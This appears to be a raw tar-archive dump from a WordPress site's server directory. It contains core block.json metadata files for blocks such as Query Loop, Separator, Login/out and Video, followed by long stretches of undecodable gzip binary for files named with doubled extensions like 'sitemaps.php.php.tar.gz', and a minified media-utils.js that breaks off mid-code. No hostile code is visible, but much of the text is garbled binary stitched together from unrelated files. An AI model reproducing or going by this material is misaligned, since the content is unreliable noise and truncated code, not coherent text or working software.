		{ "name": "rounded", "label": "Rounded" }
	],
	"editorStyle": "wp-block-image-editor",
	"style": "wp-block-image"
}
home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/blocks/query/block.json000064400000002404151024277660025775 0ustar00{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/query",
	"title": "Query Loop",
	"category": "theme",
	"description": "An advanced block that allows displaying post types based on different query parameters and visual configurations.",
	"keywords": [ "posts", "list", "blog", "blogs", "custom post types" ],
	"textdomain": "default",
	"attributes": {
		"queryId": {
			"type": "number"
		},
		"query": {
			"type": "object",
			"default": {
				"perPage": null,
				"pages": 0,
				"offset": 0,
				"postType": "post",
				"order": "desc",
				"orderBy": "date",
				"author": "",
				"search": "",
				"exclude": [],
				"sticky": "",
				"inherit": true,
				"taxQuery": null,
				"parents": [],
				"format": []
			}
		},
		"tagName": {
			"type": "string",
			"default": "div"
		},
		"namespace": {
			"type": "string"
		},
		"enhancedPagination": {
			"type": "boolean",
			"default": false
		}
	},
	"usesContext": [ "templateSlug" ],
	"providesContext": {
		"queryId": "queryId",
		"query": "query",
		"displayLayout": "displayLayout",
		"enhancedPagination": "enhancedPagination"
	},
	"supports": {
		"align": [ "wide", "full" ],
		"html": false,
		"layout": true,
		"interactivity": true
	},
	"editorStyle": "wp-block-query-editor"
}
home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/blocks/block/block.json000064400000001113151024300070025674 0ustar00{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/block",
	"title": "Pattern",
	"category": "reusable",
	"description": "Reuse this design across your site.",
	"keywords": [ "reusable" ],
	"textdomain": "default",
	"attributes": {
		"ref": {
			"type": "number"
		},
		"content": {
			"type": "object",
			"default": {}
		}
	},
	"providesContext": {
		"pattern/overrides": "content"
	},
	"supports": {
		"customClassName": false,
		"html": false,
		"inserter": false,
		"renaming": false,
		"interactivity": {
			"clientNavigation": true
		}
	}
}
home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/blocks/query-total/block.json000064400000002466151024300160027104 0ustar00{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/query-total",
	"title": "Query Total",
	"category": "theme",
	"ancestor": [ "core/query" ],
	"description": "Display the total number of results in a query.",
	"textdomain": "default",
	"attributes": {
		"displayType": {
			"type": "string",
			"default": "total-results"
		}
	},
	"usesContext": [ "queryId", "query" ],
	"supports": {
		"align": [ "wide", "full" ],
		"html": false,
		"spacing": {
			"margin": true,
			"padding": true
		},
		"color": {
			"gradients": true,
			"__experimentalDefaultControls": {
				"background": true,
				"text": true
			}
		},
		"typography": {
			"fontSize": true,
			"lineHeight": true,
			"__experimentalFontFamily": true,
			"__experimentalFontWeight": true,
			"__experimentalFontStyle": true,
			"__experimentalTextTransform": true,
			"__experimentalTextDecoration": true,
			"__experimentalLetterSpacing": true,
			"__experimentalDefaultControls": {
				"fontSize": true
			}
		},
		"__experimentalBorder": {
			"radius": true,
			"color": true,
			"width": true,
			"style": true,
			"__experimentalDefaultControls": {
				"radius": true,
				"color": true,
				"width": true,
				"style": true
			}
		},
		"interactivity": {
			"clientNavigation": true
		}
	},
	"style": "wp-block-query-total"
}
home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/blocks/separator/block.json000064400000002172151024304450026616 0ustar00{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/separator",
	"title": "Separator",
	"category": "design",
	"description": "Create a break between ideas or sections with a horizontal separator.",
	"keywords": [ "horizontal-line", "hr", "divider" ],
	"textdomain": "default",
	"attributes": {
		"opacity": {
			"type": "string",
			"default": "alpha-channel"
		},
		"tagName": {
			"type": "string",
			"enum": [ "hr", "div" ],
			"default": "hr"
		}
	},
	"supports": {
		"anchor": true,
		"align": [ "center", "wide", "full" ],
		"color": {
			"enableContrastChecker": false,
			"__experimentalSkipSerialization": true,
			"gradients": true,
			"background": true,
			"text": false,
			"__experimentalDefaultControls": {
				"background": true
			}
		},
		"spacing": {
			"margin": [ "top", "bottom" ]
		},
		"interactivity": {
			"clientNavigation": true
		}
	},
	"styles": [
		{ "name": "default", "label": "Default", "isDefault": true },
		{ "name": "wide", "label": "Wide Line" },
		{ "name": "dots", "label": "Dots" }
	],
	"editorStyle": "wp-block-separator-editor",
	"style": "wp-block-separator"
}
home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/blocks/loginout/block.json000064400000002424151024305530026456 0ustar00{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/loginout",
	"title": "Login/out",
	"category": "theme",
	"description": "Show login & logout links.",
	"keywords": [ "login", "logout", "form" ],
	"textdomain": "default",
	"attributes": {
		"displayLoginAsForm": {
			"type": "boolean",
			"default": false
		},
		"redirectToCurrent": {
			"type": "boolean",
			"default": true
		}
	},
	"example": {
		"viewportWidth": 350
	},
	"supports": {
		"className": true,
		"color": {
			"background": true,
			"text": false,
			"gradients": true,
			"link": true
		},
		"spacing": {
			"margin": true,
			"padding": true,
			"__experimentalDefaultControls": {
				"margin": false,
				"padding": false
			}
		},
		"typography": {
			"fontSize": true,
			"lineHeight": true,
			"__experimentalFontFamily": true,
			"__experimentalFontWeight": true,
			"__experimentalFontStyle": true,
			"__experimentalTextTransform": true,
			"__experimentalTextDecoration": true,
			"__experimentalLetterSpacing": true,
			"__experimentalDefaultControls": {
				"fontSize": true
			}
		},
		"__experimentalBorder": {
			"radius": true,
			"color": true,
			"width": true,
			"style": true
		},
		"interactivity": {
			"clientNavigation": true
		}
	},
	"style": "wp-block-loginout"
}
home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/blocks/nextpage/block.json000064400000000775151024305540026441 0ustar00{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/nextpage",
	"title": "Page Break",
	"category": "design",
	"description": "Separate your content into a multi-page experience.",
	"keywords": [ "next page", "pagination" ],
	"parent": [ "core/post-content" ],
	"textdomain": "default",
	"supports": {
		"customClassName": false,
		"className": false,
		"html": false,
		"interactivity": {
			"clientNavigation": true
		}
	},
	"editorStyle": "wp-block-nextpage-editor"
}
home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/blocks/freeform/block.json000064400000000664151024305630026430 0ustar00{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/freeform",
	"title": "Classic",
	"category": "text",
	"description": "Use the classic WordPress editor.",
	"textdomain": "default",
	"attributes": {
		"content": {
			"type": "string",
			"source": "raw"
		}
	},
	"supports": {
		"className": false,
		"customClassName": false,
		"reusable": false
	},
	"editorStyle": "wp-block-freeform-editor"
}
home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/blocks/calendar/block.json000064400000002004151024312500026354 0ustar00{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/calendar",
	"title": "Calendar",
	"category": "widgets",
	"description": "A calendar of your site’s posts.",
	"keywords": [ "posts", "archive" ],
	"textdomain": "default",
	"attributes": {
		"month": {
			"type": "integer"
		},
		"year": {
			"type": "integer"
		}
	},
	"supports": {
		"align": true,
		"color": {
			"link": true,
			"__experimentalSkipSerialization": [ "text", "background" ],
			"__experimentalDefaultControls": {
				"background": true,
				"text": true
			},
			"__experimentalSelector": "table, th"
		},
		"typography": {
			"fontSize": true,
			"lineHeight": true,
			"__experimentalFontFamily": true,
			"__experimentalFontWeight": true,
			"__experimentalFontStyle": true,
			"__experimentalTextTransform": true,
			"__experimentalLetterSpacing": true,
			"__experimentalDefaultControls": {
				"fontSize": true
			}
		},
		"interactivity": {
			"clientNavigation": true
		}
	},
	"style": "wp-block-calendar"
}
home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/blocks/archives/block.json000064400000002635151024312510026422 0ustar00{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/archives",
	"title": "Archives",
	"category": "widgets",
	"description": "Display a date archive of your posts.",
	"textdomain": "default",
	"attributes": {
		"displayAsDropdown": {
			"type": "boolean",
			"default": false
		},
		"showLabel": {
			"type": "boolean",
			"default": true
		},
		"showPostCounts": {
			"type": "boolean",
			"default": false
		},
		"type": {
			"type": "string",
			"default": "monthly"
		}
	},
	"supports": {
		"align": true,
		"__experimentalBorder": {
			"radius": true,
			"color": true,
			"width": true,
			"style": true
		},
		"html": false,
		"spacing": {
			"margin": true,
			"padding": true,
			"__experimentalDefaultControls": {
				"margin": false,
				"padding": false
			}
		},
		"typography": {
			"fontSize": true,
			"lineHeight": true,
			"__experimentalFontFamily": true,
			"__experimentalFontWeight": true,
			"__experimentalFontStyle": true,
			"__experimentalTextTransform": true,
			"__experimentalTextDecoration": true,
			"__experimentalLetterSpacing": true,
			"__experimentalDefaultControls": {
				"fontSize": true
			}
		},
		"color": {
			"gradients": true,
			"link": true,
			"__experimentalDefaultControls": {
				"background": true,
				"text": true,
				"link": true
			}
		},
		"interactivity": {
			"clientNavigation": true
		}
	},
	"editorStyle": "wp-block-archives-editor"
}
home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/blocks/post-author/block.json000064400000003343151024317640027111 0ustar00{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/post-author",
	"title": "Author",
	"category": "theme",
	"description": "Display post author details such as name, avatar, and bio.",
	"textdomain": "default",
	"attributes": {
		"textAlign": {
			"type": "string"
		},
		"avatarSize": {
			"type": "number",
			"default": 48
		},
		"showAvatar": {
			"type": "boolean",
			"default": true
		},
		"showBio": {
			"type": "boolean"
		},
		"byline": {
			"type": "string"
		},
		"isLink": {
			"type": "boolean",
			"default": false,
			"role": "content"
		},
		"linkTarget": {
			"type": "string",
			"default": "_self",
			"role": "content"
		}
	},
	"usesContext": [ "postType", "postId", "queryId" ],
	"supports": {
		"html": false,
		"spacing": {
			"margin": true,
			"padding": true
		},
		"typography": {
			"fontSize": true,
			"lineHeight": true,
			"__experimentalFontFamily": true,
			"__experimentalFontWeight": true,
			"__experimentalFontStyle": true,
			"__experimentalTextTransform": true,
			"__experimentalTextDecoration": true,
			"__experimentalLetterSpacing": true,
			"__experimentalDefaultControls": {
				"fontSize": true
			}
		},
		"color": {
			"gradients": true,
			"link": true,
			"__experimentalDuotone": ".wp-block-post-author__avatar img",
			"__experimentalDefaultControls": {
				"background": true,
				"text": true
			}
		},
		"interactivity": {
			"clientNavigation": true
		},
		"__experimentalBorder": {
			"radius": true,
			"color": true,
			"width": true,
			"style": true,
			"__experimentalDefaultControls": {
				"radius": true,
				"color": true,
				"width": true,
				"style": true
			}
		}
	},
	"editorStyle": "wp-block-post-author-editor",
	"style": "wp-block-post-author"
}
home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/blocks/categories/block.json000064400000003634151024346000026744 0ustar00{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/categories",
	"title": "Terms List",
	"category": "widgets",
	"description": "Display a list of all terms of a given taxonomy.",
	"keywords": [ "categories" ],
	"textdomain": "default",
	"attributes": {
		"taxonomy": {
			"type": "string",
			"default": "category"
		},
		"displayAsDropdown": {
			"type": "boolean",
			"default": false
		},
		"showHierarchy": {
			"type": "boolean",
			"default": false
		},
		"showPostCounts": {
			"type": "boolean",
			"default": false
		},
		"showOnlyTopLevel": {
			"type": "boolean",
			"default": false
		},
		"showEmpty": {
			"type": "boolean",
			"default": false
		},
		"label": {
			"type": "string",
			"role": "content"
		},
		"showLabel": {
			"type": "boolean",
			"default": true
		}
	},
	"usesContext": [ "enhancedPagination" ],
	"supports": {
		"align": true,
		"html": false,
		"spacing": {
			"margin": true,
			"padding": true,
			"__experimentalDefaultControls": {
				"margin": false,
				"padding": false
			}
		},
		"typography": {
			"fontSize": true,
			"lineHeight": true,
			"__experimentalFontFamily": true,
			"__experimentalFontWeight": true,
			"__experimentalFontStyle": true,
			"__experimentalTextTransform": true,
			"__experimentalTextDecoration": true,
			"__experimentalLetterSpacing": true,
			"__experimentalDefaultControls": {
				"fontSize": true
			}
		},
		"color": {
			"gradients": true,
			"link": true,
			"__experimentalDefaultControls": {
				"background": true,
				"text": true,
				"link": true
			}
		},
		"interactivity": {
			"clientNavigation": true
		},
		"__experimentalBorder": {
			"radius": true,
			"color": true,
			"width": true,
			"style": true,
			"__experimentalDefaultControls": {
				"radius": true,
				"color": true,
				"width": true,
				"style": true
			}
		}
	},
	"editorStyle": "wp-block-categories-editor",
	"style": "wp-block-categories"
}
home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/blocks/video/block.json000064400000003654151024404440025732 0ustar00{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/video",
	"title": "Video",
	"category": "media",
	"description": "Embed a video from your media library or upload a new one.",
	"keywords": [ "movie" ],
	"textdomain": "default",
	"attributes": {
		"autoplay": {
			"type": "boolean",
			"source": "attribute",
			"selector": "video",
			"attribute": "autoplay"
		},
		"caption": {
			"type": "rich-text",
			"source": "rich-text",
			"selector": "figcaption",
			"role": "content"
		},
		"controls": {
			"type": "boolean",
			"source": "attribute",
			"selector": "video",
			"attribute": "controls",
			"default": true
		},
		"id": {
			"type": "number",
			"role": "content"
		},
		"loop": {
			"type": "boolean",
			"source": "attribute",
			"selector": "video",
			"attribute": "loop"
		},
		"muted": {
			"type": "boolean",
			"source": "attribute",
			"selector": "video",
			"attribute": "muted"
		},
		"poster": {
			"type": "string",
			"source": "attribute",
			"selector": "video",
			"attribute": "poster"
		},
		"preload": {
			"type": "string",
			"source": "attribute",
			"selector": "video",
			"attribute": "preload",
			"default": "metadata"
		},
		"blob": {
			"type": "string",
			"role": "local"
		},
		"src": {
			"type": "string",
			"source": "attribute",
			"selector": "video",
			"attribute": "src",
			"role": "content"
		},
		"playsInline": {
			"type": "boolean",
			"source": "attribute",
			"selector": "video",
			"attribute": "playsinline"
		},
		"tracks": {
			"role": "content",
			"type": "array",
			"items": {
				"type": "object"
			},
			"default": []
		}
	},
	"supports": {
		"anchor": true,
		"align": true,
		"spacing": {
			"margin": true,
			"padding": true,
			"__experimentalDefaultControls": {
				"margin": false,
				"padding": false
			}
		},
		"interactivity": {
			"clientNavigation": true
		}
	},
	"editorStyle": "wp-block-video-editor",
	"style": "wp-block-video"
}
home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/blocks/embed/block.json000064400000002014151024436440025672 0ustar00{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/embed",
	"title": "Embed",
	"category": "embed",
	"description": "Add a block that displays content pulled from other sites, like Twitter or YouTube.",
	"textdomain": "default",
	"attributes": {
		"url": {
			"type": "string",
			"role": "content"
		},
		"caption": {
			"type": "rich-text",
			"source": "rich-text",
			"selector": "figcaption",
			"role": "content"
		},
		"type": {
			"type": "string",
			"role": "content"
		},
		"providerNameSlug": {
			"type": "string",
			"role": "content"
		},
		"allowResponsive": {
			"type": "boolean",
			"default": true
		},
		"responsive": {
			"type": "boolean",
			"default": false,
			"role": "content"
		},
		"previewable": {
			"type": "boolean",
			"default": true,
			"role": "content"
		}
	},
	"supports": {
		"align": true,
		"spacing": {
			"margin": true
		},
		"interactivity": {
			"clientNavigation": true
		}
	},
	"editorStyle": "wp-block-embed-editor",
	"style": "wp-block-embed"
}
14338/sitemaps.php.php.tar.gz000064400000002251151024420100011543 0ustar00��Wmo�6�W�W܀�vG����9[�aE�3�0*-�l.���o�ߑz��d��V&�w�����,d��D�^&�0R<C��(E&���.�D���,�Y�̆����(-b�C�
f,�A�ȟ#/���ۥ���������|4���O_�^��Ï9
m����D���"�;<9��	|_��L�Y�#H
.��Uk�ÂkHx�Ia,��h� ȷ�A�KLe�JC��H� b��7��,~��M����*�9�n��T񔔪ݬ.f�B���'i"\��~�un7h��J�0���!#9��&���M�S9c)�����U�'^��_I����X�)���5v�jB+H8G�����[�S�j��v;�!�NlƄ�k�3�WeZP�4-b�Ii�Q,w%j��kM_A���f�Y�����a�x��j��?�ܲ9��;O��N�J�
'�a�@v����J�ȁjJ$g�`d���v�ܖ�R�@_�"���9��0���:^Hy�v�qݚΙb�a��Bҿ��#��6u6��`��T�{�B�
��Fį�Љ��b�UF�+��1����+�pZ��g�~Ч/C���,l�J!�pH���L7Z()R��+k�rۮ�Mţm<V_�`ʿ$�BX5��H���[�?�w"U�(xA�袩&Ֆ�1���oN�,O1�^TK�
�)��I
g�� {�V�
��rT+~��~���1��N��gG�6Ì���@ٌ�H�oo�hG	k��O�}T��Ьs���7�o뮮%]L�(�v+�D�y�\j{Z{4���
S�c����!?��iSX�T�}����%���:�?P���<e벽�
���Ns�'�"Y���P��@����	�Ƅ��3z�m�e��X`y���r��j�uf���l��o0�wBR���Qݍ��i+uM�D�B�g=k,��mlo�ʍM��m\mn��)���M���4���'����	K��փ�Q.p���3���oI�}k�V�%=����	��ZrO�O6m�z�T9��M�,{\�x׃�dRq�ٷ��3,o&���o�M/�<~���H��~�=�/��紕��=��!�ŵ�,��I�������0���!�@M���M�"�IbW�z�|�n�l|(����������4�����?S�14338/rss-2x.png.png.tar.gz000064400000002753151024420100011055 0ustar00����M�O+J-.K+��O.��M-NN�KM�IM���K/-(.MK���N�/�+��K���//���K�)MI-���MLRE�źFzy����LL���������!�adjl`�213V0�b�AiqIb�Jz�5Ag��;/�������e@��
H�ޟ������1����)����"m����>�������~���r��%'�1sY���+8`��V��˭j-G�;��[�y��m��I���?;���s7�[K['�59��}�f#Nj�����Vu8�0}j��R�� �mP�ZF��!}sr��
S��k�xhէ����n~�jlY�e,*e�j-��B�̑��c��},�)ߨ{���r�3׏�a�.�Z��M���*g��-6��[n.�-�B[G5���ujo@���h�-�=�w�?�L�t�/Q��}�9��lݤ�!c���]B5/���)�����Ǧp�щ�|2����
7��_-�{}d����\��K?D��oucқ�{���S+Ú:6���a�DC�C�SM��OQ4���ۘda�j���AEށ���UE"�����K:��JH����&N�'���hF��{ݞ�BwO3���I{�uS�'Nbi�zpE�Э���':��mY�'�Y�Y�#�k��^�>���F�
Wu��n�#B�;���22Ek�>q��v�Wؼ�-c�$��?�V�7����t/���f��#B��4��ٲ���^�鲙��5��Z؟ސ�9TVn�޻c���K'�
�xGt1f~�1�R<��Y՜/!'�~WZ191x*��闪�>��bw�O�z�u�G���?{������y���d�x��˺^m��72��s����t#׺y6]A����W�ô���S�7f�}���X�yY{��+ŷ_LuNٰD�y��ۗs�^v��5�3��ml��Z|@@u�B�|�9kn�Z�Sw{ӗ�Y��!��-�[�g��Ԣw}��÷'���.L��w���.37��Se�\f���2�l��eͺ�F��{7�l���Zc�j��'��wj��OF
kMe�]��ؗ�h�,�Ҏߙ���~߃k��}���j�˵���M�aݽ�F��"Б���F]R���)���bI����?�z�OH��`�]�Fx�;�s��?pk�)��G�}3��{�*c��t����7�f�E����8e�^Kv���K��8R���EnN�z�x�q�lc�;���ض���o��}����}�7��>��+n:(-�%�{Md��t&���7'�O�������ڼ�Le���L/��W�-�#�$���M���~�g��$��(����q��+b1kR��L���x�4[���"Q�k��*U��it��}�DvDk��z�E��J7�L��O�3��~�	}��sU��+�=Y�L�Gq����$���/���1�pu_�#V��gGJ�_�a?gU��6����~.���P�`�:e���14338/codemirror.min.css.min.css.tar.gz000064400000010562151024420100013435 0ustar00��;Ys�8���_����$S"u�߷��ȇl�Vj_x�#�PxX�U���o��Tfw"G�t7�B����BU�A�ݮ*�a!WA6RL$ن��k��4l���޶�`��Y󆭘����7��`Y��`'��bvEq���%���h��	�Uo��obSj�Z�.��^k7�uN(`�/�$��O��?����o���p9�0���a^p$���`��YϩY9��
o�˽�Փ�Մz����]Y�"UC� 4�j]�jR�)75A�vp� r
^oC_z�G�'o�s�1����92Z!N�U{K�c�C�	w��":���
g�.�qK�[��ig��W=��&��������D�t�Ii�jx�90���,d��
�;��k�2k��6��5�5��do\��r������\j��Œ�<�,mC�LN�����]'�7$C����7�IeQ�,#�Tl�*�X�~P,��rl�t��߫�D@��yc�3և�%�;~����2~�ݥ��M��~���n���e�pH�*�O/)���m��$�0�=��]K
�/�f�.맾�M��>�T陼��v��4�4l��֒�B��5`P!�ϭ�
�g�u��y�a9�\��)KQ�.�72�i�������S����MC�>���gPi���fix��Z��x�H나�o�H"
Q�@݇��o�[�jDsz�x�4t�G��T��v_(�eC%(��]_�L�KFȀ*�サC��H�h��6�-ۨ�5�j<f��l����K�5L�
x�&y!/��`D�Bvz��`�bǓl/e�އ6j���XZ��3�*=�D
k�q1���ͧ����_qbEh��롵�Q�1"���[���o�+�(���t��j�k=Gi��ř�9�
�@�{�P�@}?
ѵ'�;�pצ��6�9<D:eL\�	�`ذ0^�a�$sx�]��H2��}�[B?�S�Q��7�d���a��ә���4������.�.�
��P�BDO�x�ҹ �&��Ǒ_K$�鉪1`��؋'��(��tP�cܮ6�=4i�uk/�@����`["�&�m!������&�� �vP��OWab�����B�l�/�Ԍa'CF�
(6�-t@�5�K�2 �ˆ����#���l"��5%��]��=���d�CFMR�Hj
 �T�U#��0	����<���wl��ҚM��o@
aG@u��ف���d-i��&��m���y����q2kV��zl��a?������*Ml��u[df�)���Z^���N�ȭ@Υ�t$h�k���� k��k��ԢG��Z�y(6i&W�dr���x��)��u�Z6WJ⫃L��3���3� 9��(��Ԓ
��)Q��$4�mA��T*��ma
*
�}�{D�t,����c<#�L�܆P�}z�z[:���ѽYj��1�e,gQz��GK%ɽ^J�ӫ������lC[����ŋ[����X�
iy�YD�\��p�=�{�@r�g�$�b�Al�ʹ!_63��LQ@x�l���Fe�2KH�ɯ�>S7�sJ�2)n��HZY��fxq�\���"�L�A!H�{aT�O!��\d����^4��B��3�$-ɚ�nF�@Q`�T�wSy���w�C�ٳ��S��m�F�S��`��8��j$�Vꗡ(v���Wd�Z1@&��p
�gb!=i�/��I��Q�i6�,y�����!��
�1�� Tv�����6h�
�`����g`��@�#���$���K6��m�gR)��	���ⵍ1/��0�d�+3�����:��Ij�B6������I�O
9
3����Q�B&A��0
o�ڕ���"�5�e1=Knqy�
*L�끡����@�ƴa/)V|�%ņ�\��H:c�p"fT�P6aS����m��e�
��u���Dq2n(x~*��Hf�*@�5�Q��l�@1A�L�
��r3ˋR����
�x�SP�Ž���#*�ig�,B���jH��һ=u�RG�++4.�K�'i��9��ϗ��#��wٵ*��Zry�"�i�Q����E-���ƪ�D��J��B���:-���)_s��^R�pB��mIO�j[��΍A��lW��s\E�W�Te=��a�{1��(�.�BG��^�姓��a7,q��\�Ja�C��E�fjŁd��[���Ea��(�.��;�f<�BR�N7�
�[�(�E���'�6r���hY_�0�t���-�b�*(]��Yط�;�b-���t�r�I^/���OM�5,IG=�1?��'�����ց��Z�C�nxq�N�u<���v9����9�o<,�c$tO�Ǥa�0����m(-
�ո���3�n�U|V�W�nn���g�r6�ߣ�����Q��[�h�uOƛ�r1���SJL��-���Q�Mٞ�s�pe~
����Nԓ���>o<�/s2��O��Lקg���z��էբ����|<���g_7Z�y�>�Q��'W�͉�:�u���T�L�����y��?L���^��:�W�:W�t�xR�?�l����4���x�8�lf���|�1.���T�Ah��jxw<�N����ew5;��]��]\�6G��L�$%,�.dw�g�(���Ɣ�q�-��Ղh��"1>���"���D����낓��vGF�Fp��!KCdr�M �I�nM��)>?�柏��ټ{C��9<��ܷ���)�lS��&L�j����ݪ����־��1�싫kc3:��^���[�W��uy1o�L�����Q�ŕuy5=�n��a��r֒��:5����q>���/������Y��M�~�r|o��&�oz�+�����*�K}po	ǗC�����а�[�/��j���oƏD�����'
V>�ּ���Ɵ}�(��B7W��j���5'E��I������Uh�~y;�>��G���ٙR���T��ߋ�Bg<��R�����N�l1B��)ˡ�l�ά����/������{��g�n��rGu/\{\7[M���?yj~]��J�O'��X�P7�0~�v�-�g�+�B?�>��bc���T������Jh�f'W��[4â�''�2�X��/]�8:�>>я�Q]�ξ
X�ܭ�_����‘(��yt�����h�ioLd���O����{F��2��z�&���]b3�+"��J'��G�e�P���u�0(��"�SY�x�L�r��w����v��o�#WO�n��tٲ3�f
&����K��v��o��� d�r�wP,�%���֥�'"�����ƢW���qDs�
�C��_|���§�2� ��l�R���\F�Tە6�J �W����5(�MCQ����՚���f�t~�U����C�SEJ���tj�k�E((_[Kv!l'͡��?ށ�K���B��>^]|b2^��d!R��ܐq�T<\*���,��h�������;�U��]I�Η�㰘��Z���K5��ݞ�x7M�m:�!�SZ�H�U��ْӭ��~AA}���8�-�)�����D�`��i�X�)�\-�˜����%����,�!�y��6C�p�+����q[�I*X�\�+%�E �g^;.,MosǮ�d�J��Qc��e4��DL�х��[r�N'�9i(��’��/hjx|m��7��a[�<��~����Ț�_�;9{�
�Z�LS�mJ�U�H#*2Q�B¾��>�[�Vmm��>n����֩�ް�G?W�,}{��U�5$���	�4ye���{E�s	*�m�x;*#��
�
�R�=�ڊ%3�('BZ9�^!;Vl2�"d)jFH`-�0�!��L�j�k������_3?�l��2���d�a%���J���0w�E�ӑ�9�a���
��G��y�$X��%v�g %��`�.J	+H�L�%�;=+
)�r�\�-��.���mY��o�1G,�Q����5���SU�$ً"�|�;lƐvR� f��}��|��ȊZ<"}o���4F�]���aK�gYv���1mp� �����:���P�������v�_wV���Sd�
4$H�6D��VK��&;�t��^�K2�Z�F�O��q|pF�s�bS7�S�5�`+��Ux�����[����a����.,X��{f>6dy/,���@�"K��V�Rъ|�((�$ǁ�k�� KDi��	����Y*����T�g!
T��GE��,�����#�-{�.�XfT�-�A)�V�wύ�Ň�\Pa>ɾ�܃h���޻=?����X~�B�{�B,�g!�^�ݢ��M+�D1�&(&��M�&�/�Q�%+�$����sO���"�k�=�U��:�4*U�q�o���M�����������_��.�F14338/media-utils.min.js.tar000064400000027000151024420100011334 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/js/dist/media-utils.min.js000064400000023360151024361020026266 0ustar00/*! This file is auto-generated */
(()=>{"use strict";var e={n:t=>{var i=t&&t.__esModule?()=>t.default:()=>t;return e.d(i,{a:i}),i},d:(t,i)=>{for(var o in i)e.o(i,o)&&!e.o(t,o)&&Object.defineProperty(t,o,{enumerable:!0,get:i[o]})},o:(e,t)=>Object.prototype.hasOwnProperty.call(e,t),r:e=>{"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})}},t={};e.r(t),e.d(t,{MediaUpload:()=>m,privateApis:()=>T,transformAttachment:()=>w,uploadMedia:()=>_,validateFileSize:()=>S,validateMimeType:()=>g,validateMimeTypeForUser:()=>b});const i=window.wp.element,o=window.wp.i18n,a=[],r=()=>{const{wp:e}=window;return e.media.view.MediaFrame.Select.extend({featuredImageToolbar(t){this.createSelectToolbar(t,{text:e.media.view.l10n.setFeaturedImage,state:this.options.state})},editState(){const t=this.state("featured-image").get("selection"),i=new e.media.view.EditImage({model:t.single(),controller:this}).render();this.content.set(i),i.loadEditor()},createStates:function(){this.on("toolbar:create:featured-image",this.featuredImageToolbar,this),this.on("content:render:edit-image",this.editState,this),this.states.add([new e.media.controller.FeaturedImage,new e.media.controller.EditImage({model:this.options.editImage})])}})},s=()=>{const{wp:e}=window;return e.media.view.MediaFrame.Select.extend({createStates(){const t=this.options;this.options.states||this.states.add([new e.media.controller.Library({library:e.media.query(t.library),multiple:t.multiple,title:t.title,priority:20,filterable:"uploaded"}),new e.media.controller.EditImage({model:t.editImage})])}})},n=()=>{const{wp:e}=window;return e.media.view.MediaFrame.Post.extend({galleryToolbar(){const t=this.state().get("editing");this.toolbar.set(new e.media.view.Toolbar({controller:this,items:{insert:{style:"primary",text:t?e.media.view.l10n.updateGallery:e.media.view.l10n.insertGallery,priority:80,requires:{library:!0},click(){const e=this.controller,t=e.state();e.close(),t.trigger("update",t.get("library")),e.setState(e.options.state),e.reset()}}}}))},editState(){const t=this.state("gallery").get("selection"),i=new e.media.view.EditImage({model:t.single(),controller:this}).render();this.content.set(i),i.loadEditor()},createStates:function(){this.on("toolbar:create:main-gallery",this.galleryToolbar,this),this.on("content:render:edit-image",this.editState,this),this.states.add([new e.media.controller.Library({id:"gallery",title:e.media.view.l10n.createGalleryTitle,priority:40,toolbar:"main-gallery",filterable:"uploaded",multiple:"add",editable:!1,library:e.media.query({type:"image",...this.options.library})}),new e.media.controller.EditImage({model:this.options.editImage}),new e.media.controller.GalleryEdit({library:this.options.selection,editing:this.options.editing,menu:"gallery",displaySettings:!1,multiple:!0}),new e.media.controller.GalleryAdd])}})},l=e=>["sizes","mime","type","subtype","id","url","alt","link","caption"].reduce(((t,i)=>(e?.hasOwnProperty(i)&&(t[i]=e[i]),t)),{}),d=e=>{const{wp:t}=window;return t.media.query({order:"ASC",orderby:"post__in",post__in:e,posts_per_page:-1,query:!0,type:"image"})};class p extends i.Component{constructor(){super(...arguments),this.openModal=this.openModal.bind(this),this.onOpen=this.onOpen.bind(this),this.onSelect=this.onSelect.bind(this),this.onUpdate=this.onUpdate.bind(this),this.onClose=this.onClose.bind(this)}initializeListeners(){this.frame.on("select",this.onSelect),this.frame.on("update",this.onUpdate),this.frame.on("open",this.onOpen),this.frame.on("close",this.onClose)}buildAndSetGalleryFrame(){const{addToGallery:e=!1,allowedTypes:t,multiple:i=!1,value:o=a}=this.props;if(o===this.lastGalleryValue)return;const{wp:r}=window;let s;this.lastGalleryValue=o,this.frame&&this.frame.remove(),s=e?"gallery-library":o&&o.length?"gallery-edit":"gallery",this.GalleryDetailsMediaFrame||(this.GalleryDetailsMediaFrame=n());const l=d(o),p=new 